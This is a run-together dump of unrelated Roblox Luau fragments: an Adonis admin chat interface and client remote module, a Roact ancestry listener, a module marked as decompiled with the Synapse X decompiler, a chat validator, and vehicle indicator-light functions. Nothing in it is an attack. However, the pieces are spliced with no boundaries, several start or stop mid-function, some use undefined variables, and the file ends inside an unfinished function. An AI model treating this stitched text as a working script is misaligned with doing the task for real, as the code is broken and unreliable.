admins.BackgroundTransparency = 0.5 if isAdmin then admins.BackgroundTransparency = 0.5 admins.TextTransparency = 0 cross.BackgroundTransparency = 0.5 cross.TextTransparency = 0 else admins.BackgroundTransparency = 0.8 admins.TextTransparency = 0.8 cross.BackgroundTransparency = 0.8 cross.TextTransparency = 0.8 end end local function openAdmins() globalTab.Visible = false teamTab.Visible = false localTab.Visible = false adminsTab.Visible = true crossTab.Visible = false admins.Text = "Admins" mode = "Admins" global.BackgroundTransparency = 0.5 team.BackgroundTransparency = 0.5 localb.BackgroundTransparency = 0.5 if isAdmin then admins.BackgroundTransparency = 0 admins.TextTransparency = 0 cross.BackgroundTransparency = 0.5 cross.TextTransparency = 0 else admins.BackgroundTransparency = 0.8 admins.TextTransparency = 0.8 cross.BackgroundTransparency = 0.8 cross.TextTransparency = 0.8 end end local function openCross() globalTab.Visible = false teamTab.Visible = false localTab.Visible = false adminsTab.Visible = false crossTab.Visible = true cross.Text = "Cross" mode = "Cross" global.BackgroundTransparency = 0.5 team.BackgroundTransparency = 0.5 localb.BackgroundTransparency = 0.5 if isAdmin then admins.BackgroundTransparency = 0.5 admins.TextTransparency = 0 cross.BackgroundTransparency = 0 cross.TextTransparency = 0 else admins.BackgroundTransparency = 0.8 admins.TextTransparency = 0.8 cross.BackgroundTransparency = 0.8 cross.TextTransparency = 0.8 end end local function fadeIn() --[[ frame.BackgroundTransparency = 0.5 frame2.BackgroundTransparency = 0.5 box.BackgroundTransparency = 0.5 for i=0.1,0.5,0.1 do --wait(0.1) frame.BackgroundTransparency = 0.5-i frame2.BackgroundTransparency = 0.5-i box.BackgroundTransparency = 0.5-i end-- Disabled ]] frame.BackgroundTransparency = 0 frame2.BackgroundTransparency = 0 box.BackgroundTransparency = 0 fakeDrag.Visible = true end local function fadeOut() --[[ frame.BackgroundTransparency = 0 frame2.BackgroundTransparency = 0 box.BackgroundTransparency = 0 for i=0.1,0.5,0.1 do --wait(0.1) frame.BackgroundTransparency = i frame2.BackgroundTransparency = i box.BackgroundTransparency = i end-- Disabled ]] frame.BackgroundTransparency = 0.7 frame2.BackgroundTransparency = 1 box.BackgroundTransparency = 1 fakeDrag.Visible = false end fadeOut() frame.MouseEnter:Connect(function() fadeIn() end) frame.MouseLeave:Connect(function() if not boxFocused then fadeOut() end end) toggle.MouseButton1Click:Connect(function() if drag.Visible then drag.Visible = false toggle.Image = "rbxassetid://417301749"--417285299" else drag.Visible = true toggle.Image = "rbxassetid://417301773"--417285351" end end) global.MouseButton1Click:Connect(function() openGlobal() end) team.MouseButton1Click:Connect(function() openTeam() end) localb.MouseButton1Click:Connect(function() openLocal() end) admins.MouseButton1Click:Connect(function() if isAdmin or tick() - lastClick > 5 then isAdmin = client.Remote.Get("CheckAdmin") if isAdmin then openAdmins() else admins.BackgroundTransparency = 0.8 admins.TextTransparency = 0.8 end lastClick = tick() end end) cross.MouseButton1Click:Connect(function() if isAdmin or tick() - lastClick > 5 then isAdmin = client.Remote.Get("CheckAdmin") if isAdmin then openCross() else cross.BackgroundTransparency = 0.8 cross.TextTransparency = 0.8 end lastClick = tick() end end) box.FocusLost:Connect(function(enterPressed) boxFocused = false if enterPressed and not client.Variables.Muted then if box.Text ~= '' and ((mode ~= "Cross" and tick() - lastChat >= 0.5) or (mode == "Cross" and tick() - lastChat >= 10)) then if not client.Variables.Muted then client.Remote.Send('ProcessCustomChat', box.Text, mode) lastChat = tick() end elseif not ((mode ~= "Cross" and tick() - lastChat >= 0.5) or (mode == "Cross" and tick() - lastChat >= 10)) then local tim if mode == "Cross" then tim = 10 - (tick() - lastChat) else tim = 0.5 - (tick() - lastChat) end tim = string.sub(tostring(tim), 1, 3) client.Handlers.ChatHandler("SpamBot", "Sending too fast! Please wait "..tostring(tim).." seconds.", "System") end box.Text = "Click here or press the '/' key to chat" fadeOut() if mode ~= "Cross" then lastChat = tick() end end end) box.Focused:Connect(function() boxFocused = true if box.Text == "Click here or press the '/' key to chat" then box.Text = '' end fadeIn() end) if not nohide then service.UserInputService.InputBegan:Connect(function(InputObject) local textbox = service.UserInputService:GetFocusedTextBox() if not (textbox) and InputObject.UserInputType == Enum.UserInputType.Keyboard and InputObject.KeyCode == Enum.KeyCode.Slash then if box.Text == "Click here or press the '/' key to chat" then box.Text = '' end service.RunService.RenderStepped:Wait() box:CaptureFocus() end end) end local dragging = false local nx, ny = drag.AbsoluteSize.X, frame.AbsoluteSize.Y --450,200 local defx, defy = nx, ny mouse.Move:Connect(function(x, y) if dragging then nx = math.clamp(defx + (dragger.Position.X.Offset + 20), 1, 260) ny = math.clamp(defy + (dragger.Position.Y.Offset + 20), 1, 100) frame.Size = UDim2.new(1, 0, 0, ny) drag.Size = UDim2.new(0, nx, 0, 30) end end) dragger.DragBegin:Connect(function(init) dragging = true end) dragger.DragStopped:Connect(function(x, y) dragging = false defx = nx defy = ny dragger.Position = UDim2.new(1, -20, 1, -20) UpdateChat() end) UpdateChat()
--[[ This is a child component that listens for the event "all parents have been set". In didMount, parents of the mounted component are not required to be set, therefore we can't do ancestry checks (like checking to see if the mounted component is a child of CoreGui or PlayerGui). This component makes it easy to do this check and trigger functions when all parents are assigned after didMount. ]]
local t = require(script.Parent.Parent.Packages.t) local Roact = require(script.Parent.Parent.Packages.Roact) local OnRootedListener = Roact.Component:extend("OnRootedListener") OnRootedListener.validateProps = t.strictInterface({ onRooted = t.callback, }) function OnRootedListener:init() self.onAncestryChanged = function(instance) if instance:IsDescendantOf(game) then self.props.onRooted(instance) end end end function OnRootedListener:render() return Roact.createElement("Folder", { [Roact.Event.AncestryChanged] = self.onAncestryChanged, }) end return OnRootedListener
--[[ Hello! This script will turn this red light green when the time reaches 18:00:00, or 6 PM, then return to red at 7:30, or 7:30 AM. With enough flexibility, you can make this do other things! ]]
function toMinutes(hour) --turns something like 7.5 hours into 450 minutes. hour = hour * 60 return hour end
--[[ DEVELOPMENT HAS BEEN MOVED FROM DAVEY_BONES/SCELERATIS TO THE EPIX INCORPORATED GROUP CURRENT LOADER: https://www.roblox.com/library/7510622625/Adonis-Loader-Sceleratis-Davey-Bones-Epix CURRENT MODULE: https://www.roblox.com/library/7510592873/Adonis-MainModule --]]
-- If you want to create your own custom player settings, -- make a copy of this script and add it to your StarterPlayer object
local module = {} module.UseDefaultAnimations = false -- force incoming players to use default avatar animations, not custom animations return module
-- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; v1.__index = v1; local u1 = require(script:WaitForChild("SmoothDamp")); function v1.new(p1, p2) assert(typeof(p1) == "Vector3", "initialValue should be Vector3"); assert(typeof(p2) == "number", "smoothTime should be a number"); assert(p2 >= 0, "smoothTime must be a positive number"); local v2 = setmetatable({ Value = p1, Goal = p1, SmoothTime = p2 }, v1); v2._smoothDamp = u1.new(); return v2; end; function v1.Update(p3, p4) if p4 then p3.Goal = p4; else p4 = p3.Goal; end; local v3 = p3._smoothDamp:Update(p3.Value, p4, p3.SmoothTime); p3.Value = v3; return v3; end; function v1.UpdateAngle(p5, p6) if p6 then p5.Goal = p6; else p6 = p5.Goal; end; local v4 = p5._smoothDamp:UpdateAngle(p5.Value, p6, p5.SmoothTime); p5.Value = v4; return v4; end; function v1.SetMaxSpeed(p7, p8) p7._smoothDamp.MaxSpeed = p8; end; function v1.GetMaxSpeed(p9) return p9._smoothDamp.MaxSpeed; end; return v1;
-- if RunService:IsStudio() then -- return true -- end
local success, canChat = pcall(function() return Chat:CanUserChatAsync(playerObj.UserId) end) return success and canChat end local function ValidateChatFunction(speakerName, message, channel) local speakerObj = ChatService:GetSpeaker(speakerName) local playerObj = speakerObj:GetPlayer() if not speakerObj then return false end if not playerObj then return false end if (playerObj.UserId < 1) then -- and (not RunService:IsStudio()) then return true end if not CanUserChat(playerObj) then speakerObj:SendSystemMessage(ChatLocalization:Get("GameChat_ChatMessageValidator_SettingsError","Your chat settings prevent you from sending messages."), channel) return true end if message:len() > ChatSettings.MaximumMessageLength + 1 then speakerObj:SendSystemMessage(ChatLocalization:Get("GameChat_ChatMessageValidator_MaxLengthError","Your message exceeds the maximum message length."), channel) return true end for i = 1, #DISALLOWED_WHITESPACE do if string.find(message, DISALLOWED_WHITESPACE[i]) then speakerObj:SendSystemMessage(ChatLocalization:Get("GameChat_ChatMessageValidator_WhitespaceError","Your message contains whitespace that is not allowed."), channel) return true end end return false end ChatService:RegisterProcessCommandsFunction("message_validation", ValidateChatFunction, ChatSettings.LowPriority) end return Run
--!strict
local Players = game:GetService("Players")
-- Constants
local Remote_Events = ReplicatedStorage:WaitForChild("RemoteEvents") local Local_Player = PlayersService.LocalPlayer
--// Remote
return function(Vargs, GetEnv) local env = GetEnv(nil, {script = script}) setfenv(1, env) local _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay = _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay local script = script local service = Vargs.Service local client = Vargs.Client local Anti, Core, Functions, Process, Remote, UI, Variables local function Init() UI = client.UI; Anti = client.Anti; Core = client.Core; Variables = client.Variables Functions = client.Functions; Process = client.Process; Remote = client.Remote; Remote.Init = nil; end local function RunAfterLoaded() --// Report client finished loading log("~! Fire client loaded") client.Remote.Send("ClientLoaded") --// Ping loop log("~! Start ClientCheck loop"); delay(5, function() service.StartLoop("ClientCheck", 30, Remote.CheckClient, true) end) --// Get settings log("Get settings"); local settings = client.Remote.Get("Setting",{"G_API","Allowed_API_Calls","HelpButtonImage"}) if settings then client.G_API = settings.G_API --client.G_Access = settings.G_Access --client.G_Access_Key = settings.G_Access_Key --client.G_Access_Perms = settings.G_Access_Perms client.Allowed_API_Calls = settings.Allowed_API_Calls client.HelpButtonImage = settings.HelpButtonImage else log("~! GET SETTINGS FAILED?") warn("FAILED TO GET SETTINGS FROM SERVER"); end Remote.RunAfterLoaded = nil; end local function RunLast() --[[client = service.ReadOnly(client, { [client.Variables] = true; [client.Handlers] = true; G_API = true; G_Access = true; G_Access_Key = true; G_Access_Perms = true; Allowed_API_Calls = true; HelpButtonImage = true; Finish_Loading = true; RemoteEvent = true; ScriptCache = true; Returns = true; PendingReturns = true; EncodeCache = true; DecodeCache = true; Received = true; Sent = true; Service = true; Holder = true; GUIs = true; LastUpdate = true; RateLimits = true; Init = true; RunLast = true; RunAfterInit = true; RunAfterLoaded = true; RunAfterPlugins = true; }, true)--]] Remote.RunLast = nil; end getfenv().client = nil getfenv().service = nil getfenv().script = nil client.Remote = { Init = Init; RunLast = RunLast; RunAfterLoaded = RunAfterLoaded; Returns = {}; PendingReturns = {}; EncodeCache = {}; DecodeCache = {}; Received = 0; Sent = 0; CheckClient = function() if os.time() - Core.LastUpdate >= 10 then Remote.Send("ClientCheck", { Sent = Remote.Sent or 0; Received = Remote.Received; }, client.DepsName) end end; Returnables = { Test = function(args) return "HELLO FROM THE CLIENT SIDE :)! ", unpack(args) end; Ping = function(args) return Remote.Ping() end; ClientHooked = function(args) return Core.Special end; TaskManager = function(args) local action = args[1] if action == "GetTasks" then local tab = {} for _, v in service.GetTasks() do local new = {} new.Status = v.Status new.Name = v.Name new.Index = v.Index new.Created = v.Created new.CurrentTime = os.time() new.Function = tostring(v.Function) table.insert(tab,new) end return tab end end; LoadCode = function(args) local code = args[1] local func = Core.LoadCode(code, GetEnv()) if func then return func() end end; Function = function(args) local func = client.Functions[args[1]] if func and type(func) == "function" then return func(unpack(args, 2)) end end; Handler = function(args) local handler = client.Handlers[args[1]] if handler and type(handler) == "function" then return handler(unpack(args, 2)) end end; UIKeepAlive = function(args) if Variables.UIKeepAlive then for _, g in client.GUIs do if g.KeepAlive then if g.Class == "ScreenGui" or g.Class == "GuiMain" then g.Object.Parent = service.Player.PlayerGui elseif g.Class == "TextLabel" then g.Object.Parent = UI.GetHolder() end g.KeepAlive = false end end end return true; end; UI = function(args) local guiName = args[1] local themeData = args[2] local guiData = args[3] Variables.LastServerTheme = themeData or Variables.LastServerTheme; return UI.Make(guiName, guiData, themeData) end; InstanceList = function(args) local objects = service.GetAdonisObjects() local temp = {} for _, v in objects do table.insert(temp, { Text = v:GetFullName(); Desc = v.ClassName; }) end return temp end; ClientLog = function(args) local MESSAGE_TYPE_COLORS = { [Enum.MessageType.MessageWarning] = Color3.fromRGB(221, 187, 13), [Enum.MessageType.MessageError] = Color3.fromRGB(255, 50, 14), [Enum.MessageType.MessageInfo] = Color3.fromRGB(14, 78, 255) } local tab = {} local logHistory: {{message: string, messageType: Enum.MessageType, timestamp: number}} = service.LogService:GetLogHistory() for i = #logHistory, 1, -1 do local log = logHistory[i] for i, v in service.ExtractLines(log.message) do table.insert(tab, { Text = v; Time = if i == 1 then log.timestamp else nil; Desc = log.messageType.Name:match("^Message(.+)$"); Color = MESSAGE_TYPE_COLORS[log.messageType]; }) end end return tab end; LocallyFormattedTime = function(args) if type(args[1]) == "table" then local results = {} for i, t in args[1] do results[i] = service.FormatTime(t, select(2, unpack(args))) end return results end return service.FormatTime(unpack(args)) end; }; UnEncrypted = setmetatable({}, { __newindex = function(_, ind, val) warn("Remote.UnEncrypted is deprecated; moving", ind, "to Remote.Commands") Remote.Commands[ind] = val end }); Commands = { GetReturn = function(args) print("THE SERVER IS ASKING US FOR A RETURN"); local com = args[1] local key = args[2] local parms = {unpack(args, 3)} local retfunc = Remote.Returnables[com] local retable = (retfunc and {pcall(retfunc,parms)}) or {} if retable[1] ~= true then logError(retable[2]) Remote.Send("GiveReturn", key, "__ADONIS_RETURN_ERROR", retable[2]) else print("SENT RETURN"); Remote.Send("GiveReturn", key, unpack(retable,2)) end end; GiveReturn = function(args) print("SERVER GAVE US A RETURN") if Remote.PendingReturns[args[1]] then print("VALID PENDING RETURN") Remote.PendingReturns[args[1]] = nil service.Events[args[1]]:Fire(unpack(args, 2)) end end; SessionData = function(args) local sessionKey = args[1]; if sessionKey then service.Events.SessionData:Fire(sessionKey, table.unpack(args, 2)) end end; SetVariables = function(args) local vars = args[1] for var, val in vars do Variables[var] = val end end; Print = function(args) print(unpack(args)) end; FireEvent = function(args) service.FireEvent(unpack(args)) end; Test = function(args) print("OK WE GOT COMMUNICATION! ORGL: "..tostring(args[1])) end; TestError = function(args) error("THIS IS A TEST ERROR") end; TestEvent = function(args) Remote.PlayerEvent(args[1],unpack(args,2)) end; LoadCode = function(args) local code = args[1] local func = Core.LoadCode(code, GetEnv()) if func then return func() end end; LaunchAnti = function(args) Anti.Launch(args[1],args[2]) end; UI = function(args) local guiName = args[1] local themeData = args[2] local guiData = args[3] Variables.LastServerTheme = themeData or Variables.LastServerTheme; UI.Make(guiName,guiData,themeData) end; RemoveUI = function(args) UI.Remove(args[1],args[2]) end; RefreshUI = function(args) local guiName = args[1] local ignore = args[2] UI.Remove(guiName,ignore) local themeData = args[3] local guiData = args[4] Variables.LastServerTheme = themeData or Variables.LastServerTheme; UI.Make(guiName,guiData,themeData) end; StartLoop = function(args) local name = args[1] local delay = args[2] local code = args[3] local func = Core.LoadCode(code, GetEnv()) if name and delay and code and func then service.StartLoop(name,delay,func) end end; StopLoop = function(args) service.StopLoop(args[1]) end; Function = function(args) local func = client.Functions[args[1]] if func and type(func) == "function" then Pcall(func,unpack(args,2)) end end; Handler = function(args) local handler = client.Handlers[args[1]] if handler and type(handler) == "function" then Pcall(handler, unpack(args, 2)) end end; }; Fire = function(...) local limits = Process.RateLimits local limit = (limits and limits.Remote) or 0.01; local RemoteEvent = Core.RemoteEvent; local extra = {...}; if RemoteEvent and RemoteEvent.Object then service.Queue("REMOTE_SEND", function() Remote.Sent = Remote.Sent+1; RemoteEvent.Object:FireServer({Mode = "Fire", Module = client.Module, Loader = client.Loader, Sent = Remote.Sent, Received = Remote.Received}, unpack(extra)); task.wait(limit); end) end end; Send = function(com,...) Core.LastUpdate = os.time() Remote.Fire(Remote.Encrypt(com,Core.Key),...) end; GetFire = function(...) local RemoteEvent = Core.RemoteEvent; local limits = Process.RateLimits; local limit = (limits and limits.Remote) or 0.02; local extra = {...}; local returns; if RemoteEvent and RemoteEvent.Function then local Yield = service.Yield(); service.Queue("REMOTE_SEND", function() Remote.Sent = Remote.Sent+1; task.delay(0, function() -- Wait for return in new thread; We don't want to hold the entire fire queue up while waiting for one thing to return since we just want to limit fire speed; returns = { RemoteEvent.Function:InvokeServer({ Mode = "Get", Module = client.Module, Loader = client.Loader, Sent = Remote.Sent, Received = Remote.Received }, unpack(extra)) } Yield:Release(returns); end) task.wait(limit) end) if not returns then Yield:Wait(); end Yield:Destroy(); if returns then return unpack(returns) end end end; RawGet = function(...) local extra = {...}; local RemoteEvent = Core.RemoteEvent; if RemoteEvent and RemoteEvent.Function then Remote.Sent = Remote.Sent+1; return RemoteEvent.Function:InvokeServer({Mode = "Get", Module = client.Module, Loader = client.Loader, Sent = Remote.Sent, Received = Remote.Received}, unpack(extra)); end end; Get = function(com,...) Core.LastUpdate = os.time() local ret = Remote.GetFire(Remote.Encrypt(com,Core.Key),...) if type(ret) == "table" then return unpack(ret); else return ret; end end; OldGet = function(com,...) local returns local key = Functions:GetRandom() local waiter = service.New("BindableEvent"); local event = service.Events[key]:Connect(function(...) print("WE ARE GETTING A RETURN!") returns = {...} waiter:Fire() task.wait() waiter:Fire() waiter:Destroy() end) Remote.PendingReturns[key] = true Remote.Send("GetReturn",com,key,...) print(string.format("GETTING RETURNS? %s", tostring(returns))) --returns = returns or {event:Wait()} waiter.Event:Wait(); print(string.format("WE GOT IT! %s", tostring(returns))) event:Disconnect() if returns then if returns[1] == "__ADONIS_RETURN_ERROR" then error(returns[2]) else return unpack(returns) end else return nil end end; Ping = function() local t = time() local ping = Remote.Get("Ping") if not ping then return false end local t2 = time() local mult = 10^3 local ms = ((math.floor((t2-t)*mult+0.5)/mult)*1000) return ms end; PlayerEvent = function(event,...) Remote.Send("PlayerEvent",event,...) end; Encrypt = function(str, key, cache) cache = cache or Remote.EncodeCache or {} if not key or not str then return str elseif cache[key] and cache[key][str] then return cache[key][str] else local byte = string.byte local sub = string.sub local char = string.char local keyCache = cache[key] or {} local endStr = {} for i = 1, #str do local keyPos = (i % #key) + 1 endStr[i] = char(((byte(sub(str, i, i)) + byte(sub(key, keyPos, keyPos)))%126) + 1) end endStr = table.concat(endStr) cache[key] = keyCache keyCache[str] = endStr return endStr end end; Decrypt = function(str, key, cache) cache = cache or Remote.DecodeCache or {} if not key or not str then return str elseif cache[key] and cache[key][str] then return cache[key][str] else local keyCache = cache[key] or {} local byte = string.byte local sub = string.sub local char = string.char local endStr = {} for i = 1, #str do local keyPos = (i % #key)+1 endStr[i] = char(((byte(sub(str, i, i)) - byte(sub(key, keyPos, keyPos)))%126) - 1) end endStr = table.concat(endStr) cache[key] = keyCache keyCache[str] = endStr return endStr end end; } end
-- light functions
F.SignalLeft = function(flash_rate, state, active, tb, type, seq, max_segs, current_segment) if active then if not seq then if state then if type == "Halogen" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe = TweenService:Create(tb[5], t, {ImageTransparency = 0}) gtwe:Play() for idx, child in pairs(lights.LeftInd:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 1, Range = 16}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 0.02}) tw:Play() end end elseif type == "LED" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe = TweenService:Create(tb[5], t, {ImageTransparency = 0}) gtwe:Play() for idx, child in pairs(lights.LeftInd:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 1 child.Range = 16 elseif child.Name == "LN" then child.Transparency = 0.02 end end end wait(flash_rate) else if type == "Halogen" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe = TweenService:Create(tb[5], t, {ImageTransparency = 1}) gtwe:Play() for idx, child in pairs(lights.LeftInd:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 1}) tw:Play() end end elseif type == "LED" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe = TweenService:Create(tb[5], t, {ImageTransparency = 1}) gtwe:Play() for idx, child in pairs(lights.LeftInd:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 0 child.Range = 0 elseif child.Name == "LN" then child.Transparency = 1 end end end wait(flash_rate) end else if state then if type == "Halogen" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe = TweenService:Create(tb[5], t, {ImageTransparency = 0}) gtwe:Play() for idx, child in pairs(lights.LeftInd:GetDescendants()) do if child.Name == "SI"..tostring(current_segment) then local tw = TweenService:Create(child, t, {Transparency = 0.02}) tw:Play() end end elseif type == "LED" then for idx, child in pairs(lights.LeftInd:GetDescendants()) do if child.Name == "SI"..tostring(current_segment) then child.Transparency = 0.02 end end end else if type == "Halogen" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe = TweenService:Create(tb[5], t, {ImageTransparency = 1}) gtwe:Play() for idx, child in pairs(lights.LeftInd:GetDescendants()) do if string.sub(child.Name, 1, 2) == "SI" then local tw = TweenService:Create(child, t, {Transparency = 1}) tw:Play() end end elseif type == "LED" then for idx, child in pairs(lights.LeftInd:GetDescendants()) do if string.sub(child.Name, 1, 2) == "SI" then child.Transparency = 1 end end end end end else if not seq then if type == "Halogen" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe = TweenService:Create(tb[5], t, {ImageTransparency = 1}) gtwe:Play() for idx, child in pairs(lights.LeftInd:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 1}) tw:Play() end end elseif type == "LED" then for idx, child in pairs(lights.LeftInd:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 0 child.Range = 0 elseif child.Name == "LN" then child.Transparency = 1 end end end wait(flash_rate) else if state then if type == "Halogen" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe = TweenService:Create(tb[5], t, {ImageTransparency = 0}) gtwe:Play() for idx, child in pairs(lights.LeftInd:GetDescendants()) do if child.Name == "SI"..tostring(current_segment) then local tw = TweenService:Create(child, t, {Transparency = 0.02}) tw:Play() end end elseif type == "LED" then for idx, child in pairs(lights.LeftInd:GetDescendants()) do if child.Name == "SI"..tostring(current_segment) then child.Transparency = 0.02 end end end else if type == "Halogen" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe = TweenService:Create(tb[5], t, {ImageTransparency = 1}) gtwe:Play() for idx, child in pairs(lights.LeftInd:GetDescendants()) do if string.sub(child.Name, 1, 2) == "SI" then local tw = TweenService:Create(child, t, {Transparency = 1}) tw:Play() end end elseif type == "LED" then for idx, child in pairs(lights.LeftInd:GetDescendants()) do if string.sub(child.Name, 1, 2) == "SI" then child.Transparency = 1 end end end end end end end F.SignalRight = function(flash_rate, state, active, tb, type, seq, max_segs, current_segment) if active then if not seq then if state then if type == "Halogen" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe = TweenService:Create(tb[6], t, {ImageTransparency = 0}) gtwe:Play() for idx, child in pairs(lights.RightInd:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 1, Range = 16}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 0.02}) tw:Play() end end elseif type == "LED" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe = TweenService:Create(tb[6], t, {ImageTransparency = 0}) gtwe:Play() for idx, child in pairs(lights.RightInd:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 1 child.Range = 16 elseif child.Name == "LN" then child.Transparency = 0.02 end end end wait(flash_rate) else if type == "Halogen" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe = TweenService:Create(tb[6], t, {ImageTransparency = 1}) gtwe:Play() for idx, child in pairs(lights.RightInd:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 1}) tw:Play() end end elseif type == "LED" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe = TweenService:Create(tb[6], t, {ImageTransparency = 1}) gtwe:Play() for idx, child in pairs(lights.RightInd:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 0 child.Range = 0 elseif child.Name == "LN" then child.Transparency = 1 end end end wait(flash_rate) end else if state then if type == "Halogen" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe = TweenService:Create(tb[6], t, {ImageTransparency = 0}) gtwe:Play() for idx, child in pairs(lights.RightInd:GetDescendants()) do if child.Name == "SI"..tostring(current_segment) then local tw = TweenService:Create(child, t, {Transparency = 0.02}) tw:Play() end end elseif type == "LED" then for idx, child in pairs(lights.RightInd:GetDescendants()) do if child.Name == "SI"..tostring(current_segment) then child.Transparency = 0.02 end end end else if type == "Halogen" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe = TweenService:Create(tb[6], t, {ImageTransparency = 1}) gtwe:Play() for idx, child in pairs(lights.RightInd:GetDescendants()) do if string.sub(child.Name, 1, 2) == "SI" then local tw = TweenService:Create(child, t, {Transparency = 1}) tw:Play() end end elseif type == "LED" then for idx, child in pairs(lights.RightInd:GetDescendants()) do if string.sub(child.Name, 1, 2) == "SI" then child.Transparency = 1 end end end end end else if not seq then if type == "Halogen" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe = TweenService:Create(tb[6], t, {ImageTransparency = 1}) gtwe:Play() for idx, child in pairs(lights.RightInd:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 1}) tw:Play() end end elseif type == "LED" then for idx, child in pairs(lights.RightInd:GetDescendants()) do if child:IsA("SpotLight") then child.Brightness = 0 child.Range = 0 elseif child.Name == "LN" then child.Transparency = 1 end end end wait(flash_rate) else if state then if type == "Halogen" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe = TweenService:Create(tb[6], t, {ImageTransparency = 0}) gtwe:Play() for idx, child in pairs(lights.RightInd:GetDescendants()) do if child.Name == "SI"..tostring(current_segment) then local tw = TweenService:Create(child, t, {Transparency = 0.02}) tw:Play() end end elseif type == "LED" then for idx, child in pairs(lights.RightInd:GetDescendants()) do if child.Name == "SI"..tostring(current_segment) then child.Transparency = 0.02 end end end else if type == "Halogen" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe = TweenService:Create(tb[6], t, {ImageTransparency = 1}) gtwe:Play() for idx, child in pairs(lights.RightInd:GetDescendants()) do if string.sub(child.Name, 1, 2) == "SI" then local tw = TweenService:Create(child, t, {Transparency = 1}) tw:Play() end end elseif type == "LED" then for idx, child in pairs(lights.RightInd:GetDescendants()) do if string.sub(child.Name, 1, 2) == "SI" then child.Transparency = 1 end end end end end end end F.Hazards = function(flash_rate, state, active, tb, type, seq, max_segs, current_segment) if active then if not seq then if state then if type == "Halogen" then local t = TweenInfo.new(flash_rate / 2.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0) local gtwe1 = TweenService:Create(tb[5], t, {ImageTransparency = 0}) local gtwe2 = TweenService:Create(tb[6], t, {ImageTransparency = 0}) gtwe1:Play() gtwe2:Play() for idx, child in pairs(lights.LeftInd:GetDescendants()) do if child:IsA("SpotLight") then local tw = TweenService:Create(child, t, {Brightness = 1, Range = 16}) tw:Play() elseif child.Name == "LN" then local tw = TweenService:Create(child, t, {Transparency = 0.02}) 